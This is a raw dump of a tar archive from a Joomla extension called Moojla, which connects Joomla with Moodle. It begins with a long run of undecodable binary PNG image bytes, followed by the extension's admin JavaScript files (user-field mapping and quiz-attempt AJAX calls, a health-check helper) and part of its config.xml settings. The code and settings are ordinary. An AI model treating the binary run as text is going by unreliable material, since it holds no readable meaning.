��Q�-<^�DO�k����g���v�]̋�ի����gd��n*����I+�c{o��9+�uO�wr�l���c�itO��O��S�6���ck�G�|��m^[}f�5k+��i�zP����p��_J�+�5�#I�����j�̑���Ͼ����Н�`^)Ŗ�l��]$@$@$pZ��?�N˞�Q
��F
�-@k������\���;�x�U��ڹ8������V�q�h���4����۪`��d�k��Zhs
�,8h�χ�Dؒ��ݍ�4���x�~�sA�2J���Ҽ/�N�.&U�UU��[�k�U�i:"��!�p>nCkm���ñ�\4����>y_�V]A=*���k}�,l��d9��:٧�ud�A�Q@�=�Id���kal+���_�L����ET�`�m.�~��뮹���.irG�����XjX�x֮D�H�H�H�H�H�H�H������8 ]]���+���y�~tS������&�nٴ��.�
��D�S�J�[/:��͈�Vk����Qu����&*�����z4͠�y����������:ٴ5,��>��Kp%Wl觫�a��*X������u�(�ҫC�7b��'�Úy3�ߡlu;?9���_Y����iS�z�hJ�Csb�FG4t&6kG�Շ\��i����
��u��w��G<?�ј#�m-�!
�wZy�a��+2݆sQ�g���Z�0��87"?ѳ�|�,�N�3��C�A����j���]y�}/t�qLϼ����� �T���`��H�H�����y�Q� � ��i#P�Dž�s@��a!Ƕ}�p�������o�p|ay��:��5f��5��JaY���,*+ƭ�RZ������h
�F�Q�[381��ע3N�`��N�!��`v+�UJ֏K/��U�Ù��d��ʶE�h$���SH�z��
@�e;��-�A�>�
P�q-���5-��H��8�8�fPi�
���Wyخp��˲�IE����k�L�ʸ��U~��k�xr��|G�x�8��`��}+'�t�����
� � � � � � � � �V�Z,.N�\ق�\Y>���^��C?��6�y��m%�To�q�(%�:�1 ���Ry.�Rº��$��oK[��*��ќ&ەu�{��
6F��@��ȉm_�sCܖ��t�X�"v�ט�F��F��b�܈.�&����p�����nC!�IO;y5�0��#���b��dSްPz����{��Z�c�pO�l���R]{����D��1�N�V�ICQ�wA�6&��=����*���$R��Ecm��C���������wh�S��Ӌ��ί���{�d�HӃ�<�b��;��
8� �w~�_��H�H���:9NԊ�
�A��=0�3{�lk߱]oZ�|��O����K���S�]X�y���&kI
yl�T�I����YI3��U��l*�)VoʳR�ZY���$�JM"[��$�h�kq"rȾ�Dd�hH���G�q�~c�k�����e����-����W҂P�_*S���G�[д�*QB
9S��~����41r�>�sgmULvZӛ�g��n']�8;���6�q�-{.���?=�c)�`���r���j���I�H�H�H�H�H�H�H���x�`�����������}���ϽtC��x�T0�-��vU��HSIy��]���B�FE�O�HE�Sb�
f��"�9h�R��$.�࠼����{#�d���p1���ƪ1mM�io�!N�t�ZMx*`�u$i�=��`;9ɭIikNG��o$�mt������\�*uF�s��I�~�܌w�X�k�y�j�GVo+��V{k�>�P��5�M��*�ƘN'�o4C��W�)[0:�JR8;��E"F�2� �KD{��
3-,.��+�tf�d�𠿐l����k�z�>�8v\�f�
/�1�>��TJ��k.$@$@$@�<��S�$
��O�6�e��fJ`C��������7��?vbc���7c�K�&����$m�
LX�������2I�W�j�Z�74�E!�)�Jz����ö���(�
���"BX��oZ�J���aa�u�h����{�Uk�F֓�Q�ޞ��PG�˽,�n�Z�ʭiPK>Q@��md��X���6�g�.��rY��s˭T��1+7L����x��.�MMc�cpT'0?,�i|;����H�H�H�H�H�H�H�H����Y���Wm�o^<���]u��J�/��jsR
f�����OE��MdR�Z�b�:E�n�*�$���1ݴE
�&��ܦa�Ʃh֪�z6��`�
Jd�_x$��
iMq�W�n�04���8Ln! nh���.q*�7Z�I�t��ͫ�F���Q�'��EQr�~ut�U�^sL�6���l��U@j#�Sc]���/�S\$��8V�lH[�5&ӭ�ԭ��21P�Uix��6�ޣ����D'ɀ�H�����4m�ŕ�̦f��9�`����^�����{�]����H�~t7
&8v�`�2�E$@$@g�
qg?wN$@$@k�@��@*7[&
`c l���A���1ub����G������c�c�Cf=Z�S�;c�㽴hUm��˚�KXPb�U��� �H�tR���e�}�<��v�1q-�Lh�BB�r�"4/u�f[�傓x��g��D�L�_z��'Ad��vAr ��M�%҂A��\WU�;+:o����*��r}�\Ϡ�%��kW�/��n�tͮK_r��#&�Olܠ���X6��8��c]`�6��*qm^F<j
�w!�π�I��v�x��K�<�Į�����f��4i��4�gM�w�L���wh���U�5h(�E�Y
iC'�ڌ&�c�$��g��igj�\<�F��š.Y�:ꘊ-?G�V_�ִ�֫�|6�uJb�$��}�4-X��eT�8ٯ5�rt�؊5�}r�)�`�
��䞫�������7�P'Ņ�u��Q��h���bc��GX��BF��|�>"eǢ���71�"��h��7�~}��T�pޠ��ʸ�d��1s�:9��8z�]w�s�G�y��܇��@g/�sǀ�4��W � � �}4ĭ�s�� � ��9C�no���q�V�fi��/�Y^��B����b��RÑ�G7?�0���w�G�t�z�f�$��v�㜸ڔQr3�n�/B����M�-mT��u��
k����J�Pj�L��Mk�j�J{C�(/�U 'B�7��(��{65$�T�Ppo]��-��������.l��:�iv�ؖM��6�`~j�c�X�`��z
&��3S�B$@$@$@$@$@$@$@$p� x�S`y+Յ(��ؽ{[��SW�{���{�n��b6�n��|��thc�п!�QM�\���v؊S�B{�`��0 �+���j��vr�Y���v��}uW���&�WG��]����K��Y.nD�.���y�UW�ё]��C��9:5���U���y�y-ʲ�d��7b��};�Q��74�I�[�&w���
��XČWFNb~v;�Q'�I���|��}��-Q���}Q�6��_��B�j�ȶ\t�;n�Ӻ�Wp����{H�A�#Ip��2 �_�� � � �N4ĝN��6 � � �@
P'ʉr�H�\+�n�9`�W��+�]�1�2��c���--_t���#��.^��AQ&*��$�UƩ�b�S����f*�s�Rb�s"n�jCɖ��$��V۱���� Uyق���H+i�8��ʲ��ό��JɈ�9���MB�R��D�jj��25�ٿq��;6���?:���t��1�M&�i`%�+`e�K�[�/:
�?����0�����=�
��vͫ�=q۾矹n�r�ݪ�f��Z�7YnUj�2.�WQ�doÝ�C��H���\L}kL]�)L�aM{PqS5�:)!n5-��b:[4�����آ /�ǚ%���ȝ�'w*��D����[��C}h��V�9��,�&卾�x����q�!n�<M~u�`*��tJ:�4-l��9��!�4M1(�������+_j8�+Wl�_u&�6^�s�Ώ�����iLN�QG1�f��4,�B$@$@$p��!�=� � � ��js\SJ�����Ұ
-���
hi�T�se��b�ܡ[l���~0�/� k+��7?>����k�H���t^����V>I�u$���*I�A�u�$&h<UY���lݴy����11�eYڛ�_n����ҕn��N�V�~b�W)�P:�L�"rP�R��FGn�?��ܜ�<*
�s��H��X�L��g�ګWT��|��<�¾�;�y15��X�Vm�NBzY�4d�
Mhb�+���ESZ4d�.��mBŔ�VM\1%N�?y~���|;4��
B�Nni��� wJTy�q�5 m��
�O����v��tV
G{ʱ4�[5��n���z쵱�YM�hobB^�5��Mr��d�q��=P�!f8�B9rX�&�j�VLs9<l+�ej�yWF/]���w�]}�S�w>�m�������z��+�]U���{w�Ǚ�����%Y�e��3 f��d��
�MO`{2F`ɒ-k,���-����b$�PB���!.�s������s�̝ipo�O�GE����R%
@`$����~�K���t�*��+��4�.��)H��H��Q���e���v��E��pQ��-}�D\�#Ҏ�t�I�k#�v���p������롷���^�
@�
@�����u�2^�^��ףi��ٳ���_��??�����<�s�5ח�p^mn̻f6�6+��mdm;�����tQ0���VZ6P���]�m"}��ӥɴd��&�DV�0װR���6LW��W;�O�\_��v�7�-�~�h������Է!���_���c]}h,�K�.���&�Y�re�J{����Ι�z8]UM$}-���Җ��I#��������6鏌�f{)��c�v�Ƒ�S>�h�O��1��M!�a��U8n
���M��|ӂۢ(�j�h��ȳh�<�,�M��&/�M9;;��fg祿}믷?��/������_�Ã8��}�쯑];��H!�t]7�l��
� Ľc�� @��wY`{Q�$Z{�_�; @�
@��/Q`�Zugg�U������y����������o^_����Yy�5�a{yqpP�Eۇ�^�.5�R�,E�֫u��2f�,�&k�>����.ꬎ�k�?�M�>��K�R�m�8�۶]x�Co�il�P�Bd���R�-�V����h�pd��Z��z�_�]����!�w��u���f{�8u���C����xk��w��!_�z�E�==��*P�d�e���5�)4�}��nCo��,�m��m���lѝWզ���\�>���/����ON>�������;O�ƍ��Ͼ���I��Gą��/�'�s"@���@��o�;
@� @�
@��� lr�8??�Y��^�]�ӧ���_�y�ŗwO}s��у�E[�m{m�ŵE{��U��u�][.�^����"/��iW�к��3�E��m)[�&�����ډ4m��&MEK����&�
��R���YJ��@�6|>��p�a[
�����K�K�۶S�p�kSᮂpi"��*��K���خ����li^����L��R�_�1<���p\7��
\z��o�rp�:��ֵY�T��^]VD�E�E�E�Uy�Vy^�E\6y��*g��us��y�Ž�>���?��q|�ɓ�u�������Ț'�s�p�,�^A��^�.
���ޜ�� @� @�
@���]וq{�è��hWG�^�w�ߋ���������{����|u�;��yYo�eS/��-eVD[E�Y��j�b��z�2r���d���ij)t��eiZ�4}8.��\�E�Ru�։�+H�p[
�m3eiF[��<�~*\�_�sqYtU��4�T��m��]��h�!��nUZ���eY�+���K߮&�_�J+a����)��~鿴�4�7Q�]��ĵ]֥p`��]��][ΫuV��E~�)g��lv��~����|��Ͼ�{����=��Ó(�g�g����Yz�6}��?Lx��ޢ��P
@� @�
@��V`�*u�c7f�{�4�qzzϞމ��/>�շ_~��G_|�����7fe��,6�2.W�AYfy���F�U�]d�J�6�i�̋����4�-�(������~2[^�F3��^�Z*�gQ�U��ת�Y41LiK_O��y�Q�i�Tw?7�R� 7��Rح(�K!����8k�w�(�f��S�R�m�p�V1��ỦK��.�4I�!WDW�ɚ�����5���uY�r��V������_�tp���>�&n�y;��gQ�籿��oi��Ֆ�i_�
@�?K����y� @� @�
@��)�m(.�D�z+"��x1���"�vM��j'NN�Ƿ�ޏ�|P?;������:=�����^��"�-�r^v�,o�yV7�m�"�L�.�<ښ&��q�<��j��,Rx.e��f��պ���הn'��oxi�[�{�t붑�\K��Eu�����m?�n�G��&���Cp}.uNa��(�˪jڢ\GYn���ͲMV�UVΪ�(Oo}��Ý�G���}|p��x��8�;���e��U��\F=��k)�w�JٺH[g�o�po�U�.xw�ޝ��L
@� @�
@�I���2��v�,���w�m�����z��z/.v��鵋���>��֏�~{Ԟ�_�x~��9?[t�լhc�GΊ(�bѶ^Y�2ϋ��fY���.�Y�w�,�u�*�=͊HC���Ҷ�2��+�ys/'�����eY�e]�uu�\֗�M�n�v��SUm�Yכv��[]�M��eY^7YִyQe�E],w7�X����l�������=��i�����X�ב-.b�4��,��<��Z�:߲�SՍ
���0�� @� @�
@��[]�]M�K�q~��sMsد`�h�e��E��y\��Z�c}>���<..f���m/W���j�:�l��l#�/��fٮ7y�,W���]�6d��b�6�ni*\��<Z�^ۿ���ʲ�q��:����&�߸�m���ع���e��:fe��&��:��2滧Q/�m/bgsq�J����:S�ޭgK��6����D<
@� @�
@�~�?Y˚�se�ig�,ZD����ydu�OD�/���5�o�V��]�:�n�������b֮�b�h��㽦�8H�L�Bn�ZSA�� ڝ
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
˘5'IDAT@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��qU!@� @� @� @�
@����&>� @� @� @� @�
@`��D�!��IEND�B`�assets/index.html000064400000000054151165724360010054
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>assets/js/admin.js000064400000010512151165724360010121
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage admin.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* JS Document */
/***[JCBGUI.joomla_component.javascript.29.$$$$]***/
jQuery(document).ready(function($){
adsfield = $('#jform_additional_data_source');
p = adsfield.parent();
p.append('<button class="btn btn-small"
type="button" id="setuesrmap"><span>Set User
maps</span></button>');
$('#setuesrmap').click(function(e) {
var ads = $('#jform_additional_data_source').val();
question = 'Do you want to apply these settings? Note that all of
user field mapping have been deleted after this process and you can\'t
rollback this process';
if(ads == 'cb') {
question += '\nIn This option:\n\"Fistname\" and
"Lastname" Mappings will be add to \"User fields
map\"!';
}
else if(ads == 'jf')
{
question += '\nIn This option:\n Name in joomla maps to concat
of firstname and lastname of moodle';
}
question += '\nother user maping must add manualy';
if (confirm(question)) {
var token = Joomla.optionsStorage['csrf.token'];
$.ajax({
url: '/administrator/index.php?option=com_moojla',
method: 'post',
dataType: 'json',
data: {[token] : '1',
task:'ajax.addMapperRows', format: 'json' , raw:
'true' , ads: ads},
success: function (msg) {
// Joomla.submitbutton('config.save.component.apply');
Joomla.JText.load({custom_alert: "Notice"});
Joomla.renderMessages({'custom_alert': ['Old
Mappings removed from "User fields map"']});
if(ads == 'cb') {
// Joomla.JText.load({success: "Success"});
// Joomla.renderMessages({'success':
['"Fistname" and "Lastname" Mappings added to
"User fields map"!']});
}
else if(ads == 'jf')
{
// Joomla.JText.load({custom_alert: "Notice"});
// Joomla.renderMessages({'custom_alert': ['In
this option (Joomla fields) name in joomla maps to concat of firstname and
lastname of moodle']});
}
Joomla.submitbutton('config.save.component.apply');
},
error: function(err) {
}
});
} else {
}
//event.preventDefault();
});
prefix = 'jform_params_quiz_'; // our naming convension for
input fields in plugin that gets quizzes ids is -> quiz_###quiztype###
// other convension is this field must be custom type and this code
snippet should be added in its php area:
// code snippet:
// $document = JFactory::getDocument();
//
$document->addScript('components/com_moojla/assets/js/admin.js');
quizzes = $(`select[id^=${prefix}]`);
if(quizzes[0]) {
quiz_type = quizzes[0].id.substr(prefix.length);
// console.log(quizzes);
p = quizzes.parent();
p.append(`<button class="btn btn-small"
type="button"
id="fetch${quiz_type}attempts"><span>Fetch
attempts</span></button>`);
$(`#fetch${quiz_type}attempts`).click(function(e) {
var quizids = quizzes.val();
// console.log(quizids);
$.ajax({
url:
'/administrator/index.php?option=com_moojla&view=courses',
method: 'post',
dataType: 'json',
data: {task:'courses.fetchQuizAttempts', quizzes_list:
quizids, quizType: quiz_type},
success: function (msg) {
// console.log('success');
// console.log(msg);
}
});
});
}
});/***[/JCBGUI$$$$]***/
assets/js/healthcheck.js000064400000003262151165724360011300
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage healthcheck.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* JS Document */
/***[JCBGUI.custom_admin_view.javascript_file.1.$$$$]***/
function showMore(elmid, btn) {
lis = jQuery('#' + elmid + ' li:hidden').slice(0,
5);
lis.show();
remains = jQuery('#' + elmid + ' li:hidden');
if (remains === null) {
btn.hide();
}
else
{
if(remains.length == 0)
btn.hide();
}
}
function jpluginAction(elm, type){
jQuery.ajax({
url:
'/administrator/index.php?option=com_moojla&view=healthcheck&task=healthcheck.jpluginActionTask&elm='
+ elm + '&type='+type,
context: document.body
}).done(function(e) {
console.log(e);
})
Joomla.submitbutton();
}/***[/JCBGUI$$$$]***/
assets/js/index.html000064400000000054151165724360010470
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>config.xml000064400000113224151165724360006550
0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
<fieldset
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
name="global_config"
label="COM_MOOJLA_CONFIG_GLOBAL_LABEL"
description="COM_MOOJLA_CONFIG_GLOBAL_DESC">
<field
name="check_in"
type="list"
default="0"
label="COM_MOOJLA_CONFIG_CHECK_TIMER_LABEL"
description="COM_MOOJLA_CONFIG_CHECK_TIMER_DESC">
<option
value="-5
hours">COM_MOOJLA_CONFIG_CHECK_TIMER_OPTION_ONE</option>
<option
value="-12
hours">COM_MOOJLA_CONFIG_CHECK_TIMER_OPTION_TWO</option>
<option
value="-1
day">COM_MOOJLA_CONFIG_CHECK_TIMER_OPTION_THREE</option>
<option
value="-2
day">COM_MOOJLA_CONFIG_CHECK_TIMER_OPTION_FOUR</option>
<option
value="-1
week">COM_MOOJLA_CONFIG_CHECK_TIMER_OPTION_FIVE</option>
<option
value="0">COM_MOOJLA_CONFIG_CHECK_TIMER_OPTION_SIX</option>
</field>
<field type="spacer" name="spacerAuthor"
hr="true" />
<field
name="save_history"
type="radio"
class="btn-group btn-group-yesno"
default="1"
label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="history_limit"
type="text"
filter="integer"
label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
default="10"
/>
<field type="spacer" name="spacerHistory"
hr="true" />
<field name="autorTitle"
type="spacer"
label="COM_MOOJLA_CONFIG_AUTHOR"
/>
<field name="autorName"
type="text"
label="COM_MOOJLA_CONFIG_AUTHOR_NAME_LABEL"
description="COM_MOOJLA_CONFIG_AUTHOR_NAME_DESC"
size="60"
default="Lmskaran"
readonly="true"
class="readonly"
/>
<field name="autorEmail"
type="email"
label="COM_MOOJLA_CONFIG_AUTHOR_EMAIL_LABEL"
description="COM_MOOJLA_CONFIG_AUTHOR_EMAIL_DESC"
size="60"
default="info@Lmskaran.com"
readonly="true"
class="readonly"
/>
</fieldset>
<fieldset
name="group_config"
label="COM_MOOJLA_CONFIG_GROUPS_LABEL"
description="COM_MOOJLA_CONFIG_GROUPS_DESC">
<field name="staffusers"
type="usergroup"
label="COM_MOOJLA_JOOMLA_USER_GROUP"
description="COM_MOOJLA_CONFIG_TARGET_GROUP_DESC"
multiple="true"
/>
</fieldset>
<fieldset
name="connectivity_custom_config"
label="COM_MOOJLA_CONFIG_CONNECTIVITY">
<!-- Moodle_url Field. Type: Text. (joomla) -->
<field type="text"
name="moodle_url"
label="COM_MOOJLA_CONFIG_MOODLE_URL_LABEL"
size="50"
maxlength="50"
default=""
description="COM_MOOJLA_CONFIG_MOODLE_URL_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="true"
filter="STRING"
validate="url"
message="COM_MOOJLA_CONFIG_MOODLE_URL_MESSAGE"
hint="COM_MOOJLA_CONFIG_MOODLE_URL_HINT"
autocomplete="on" />
<!-- Joomla_token Field. Type: Text. (joomla) -->
<field type="text"
name="joomla_token"
label="COM_MOOJLA_CONFIG_JOOMLA_TOKEN_LABEL"
size="50"
maxlength="50"
default=""
description="COM_MOOJLA_CONFIG_JOOMLA_TOKEN_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="true"
filter="STRING"
message="COM_MOOJLA_CONFIG_JOOMLA_TOKEN_MESSAGE"
hint="COM_MOOJLA_CONFIG_JOOMLA_TOKEN_HINT"
autocomplete="on" />
<!-- Moodle_token Field. Type: Text. (joomla) -->
<field type="text"
name="moodle_token"
label="COM_MOOJLA_CONFIG_MOODLE_TOKEN_LABEL"
size="50"
maxlength="50"
default=""
description="COM_MOOJLA_CONFIG_MOODLE_TOKEN_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="true"
filter="STRING"
message="COM_MOOJLA_CONFIG_MOODLE_TOKEN_MESSAGE"
hint="COM_MOOJLA_CONFIG_MOODLE_TOKEN_HINT"
autocomplete="on" />
<!-- Moodle_cookie_path Field. Type: Text. (joomla) -->
<field type="text"
name="moodle_cookie_path"
label="COM_MOOJLA_CONFIG_MOODLE_COOKIE_PATH_LABEL"
size="50"
maxlength="50"
default=""
description="COM_MOOJLA_CONFIG_MOODLE_COOKIE_PATH_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="true"
filter="STRING"
message="COM_MOOJLA_CONFIG_MOODLE_COOKIE_PATH_MESSAGE"
hint="COM_MOOJLA_CONFIG_MOODLE_COOKIE_PATH_HINT"
autocomplete="on" />
</fieldset>
<fieldset
name="course_custom_config"
label="COM_MOOJLA_CONFIG_COURSE">
<!-- Course_detail_ws Field. Type: Radio. (joomla) -->
<field type="radio"
name="course_detail_ws"
label="COM_MOOJLA_CONFIG_COURSE_DETAIL_WS_LABEL"
description="COM_MOOJLA_CONFIG_COURSE_DETAIL_WS_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Fetch_course_contents Field. Type: Radio. (joomla) -->
<field type="radio"
name="fetch_course_contents"
label="COM_MOOJLA_CONFIG_FETCH_COURSE_CONTENTS_LABEL"
description="COM_MOOJLA_CONFIG_FETCH_COURSE_CONTENTS_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Showenrolled Field. Type: Radio. (joomla) -->
<field type="radio"
name="showenrolled"
label="COM_MOOJLA_CONFIG_SHOWENROLLED_LABEL"
description="COM_MOOJLA_CONFIG_SHOWENROLLED_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1"
readonly="false"
disabled="false"
showon="course_detail_ws:1">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Show_label_contents Field. Type: Radio. (joomla) -->
<field type="radio"
name="show_label_contents"
label="COM_MOOJLA_CONFIG_SHOW_LABEL_CONTENTS_LABEL"
description="COM_MOOJLA_CONFIG_SHOW_LABEL_CONTENTS_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Pagetype Field. Type: Radio. (joomla) -->
<field type="radio"
name="pagetype"
label="COM_MOOJLA_CONFIG_PAGETYPE_LABEL"
description="COM_MOOJLA_CONFIG_PAGETYPE_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_LINK</option>
<option
value="0">COM_MOOJLA_CONFIG_POPUP</option>
</field>
<!-- Cert_download Field. Type: Radio. (joomla) -->
<field type="radio"
name="cert_download"
label="COM_MOOJLA_CONFIG_CERT_DOWNLOAD_LABEL"
description="COM_MOOJLA_CONFIG_CERT_DOWNLOAD_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Oncoursedeleted Field. Type: Radio. (joomla) -->
<field type="radio"
name="oncoursedeleted"
label="COM_MOOJLA_CONFIG_ONCOURSEDELETED_LABEL"
description="COM_MOOJLA_CONFIG_ONCOURSEDELETED_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_UNPUBLISH</option>
<option
value="0">COM_MOOJLA_CONFIG_DELETE</option>
</field>
<!-- Course_templatestyle Field. Type: Mycustomtemplatestyle.
(custom) -->
<field type="mycustomtemplatestyle"
name="course_templatestyle"
label="COM_MOOJLA_CONFIG_COURSE_TEMPLATESTYLE_LABEL"
description="COM_MOOJLA_CONFIG_COURSE_TEMPLATESTYLE_DESCRIPTION"
message="COM_MOOJLA_CONFIG_COURSE_TEMPLATESTYLE_MESSAGE"
class="list_class"
multiple="false"
default="0"
button="false" />
<!-- Course_detail_layout Field. Type: Filelist. (joomla) -->
<field type="filelist"
name="course_detail_layout"
label="COM_MOOJLA_CONFIG_COURSE_DETAIL_LAYOUT_LABEL"
directory="components/com_moojla/views/coursedetail/tmpl/"
default=""
description="COM_MOOJLA_CONFIG_COURSE_DETAIL_LAYOUT_DESCRIPTION"
filter="^[^_]*\.php$"
hide_none="ture"
hide_default="true" />
<!-- Showdebug Field. Type: Radio. (joomla) -->
<field type="radio"
name="showdebug"
label="COM_MOOJLA_CONFIG_SHOWDEBUG_LABEL"
description="COM_MOOJLA_CONFIG_SHOWDEBUG_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Favorite Field. Type: Radio. (joomla) -->
<field type="radio"
name="favorite"
label="COM_MOOJLA_CONFIG_FAVORITE_LABEL"
description="COM_MOOJLA_CONFIG_FAVORITE_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Rating Field. Type: Radio. (joomla) -->
<field type="radio"
name="rating"
label="COM_MOOJLA_CONFIG_RATING_LABEL"
description="COM_MOOJLA_CONFIG_RATING_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Averagerate Field. Type: Radio. (joomla) -->
<field type="radio"
name="averagerate"
label="COM_MOOJLA_CONFIG_AVERAGERATE_LABEL"
description="COM_MOOJLA_CONFIG_AVERAGERATE_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
readonly="false"
disabled="false"
showon="rating:1">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
</fieldset>
<fieldset
name="moodle_access_custom_config"
label="COM_MOOJLA_CONFIG_MOODLE_ACCESS">
<!-- Availabilityinfolink Field. Type: Radio. (joomla) -->
<field type="radio"
name="availabilityinfolink"
label="COM_MOOJLA_CONFIG_AVAILABILITYINFOLINK_LABEL"
description="COM_MOOJLA_CONFIG_AVAILABILITYINFOLINK_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_ENABLE</option>
<option
value="0">COM_MOOJLA_CONFIG_DISABLE</option>
</field>
<!-- Sp_one Field. Type: Spacer. A None Database Field. (joomla)
-->
<field type="spacer"
name="sp_one"
label="COM_MOOJLA_CONFIG_SP_ONE_LABEL"
